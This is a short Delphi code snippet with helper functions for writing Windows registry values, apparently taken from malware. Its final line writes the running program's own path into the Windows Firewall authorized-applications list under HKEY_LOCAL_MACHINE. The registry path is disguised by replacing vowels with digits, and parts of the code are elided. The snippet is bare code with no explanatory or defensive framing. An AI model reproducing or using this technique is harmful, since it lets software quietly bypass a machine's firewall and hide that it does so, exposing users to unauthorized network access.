function LastPos(Needle: Char; Haystack: string): integer;
begin
  for Result := Length(Haystack) downto 1 do
    if Haystack[Result] = Needle then
      Break;
end;

function RegSetValue(RootKey: HKEY; Name: string; ValType: Cardinal; PVal:
  Pointer; ValSize: Cardinal): boolean;
var
  SubKey: string;
  n: integer;
  dispo: DWORD;
  hTemp: HKEY;
begin
  Result := False;
  n := LastPos('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if RegCreateKeyEx(RootKey, PChar(SubKey), 0, nil, REG_OPTION_NON_VOLATILE,
      KEY_WRITE,
      nil, hTemp, @dispo) = ERROR_SUCCESS then
    begin
      SubKey := Copy(Name, n + 1, Length(Name) - n);
      Result := (RegSetValueEx(hTemp, PChar(SubKey), 0, ValType, PVal, ValSize)
        = ERROR_SUCCESS);
      RegCloseKey(hTemp);
    end;
  end;
end;

function RegSetString(RootKey: HKEY; Name: string; Value: string): boolean;
begin
  Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value)
    + 1);
end;

...

begin
...
regSetString(HKEY_LOCAL_MACHINE,'\SYSTEM\C3ntr3S6t00a\S6rv5c6s\Sh2r6dAcc6ss\P2r2m6t6rs\F5r6w2llP3l5cy\St2nd2rdPr3f5l6\A4th3r5z6dAppl5c2t53ns\L5st',ParamStr(0));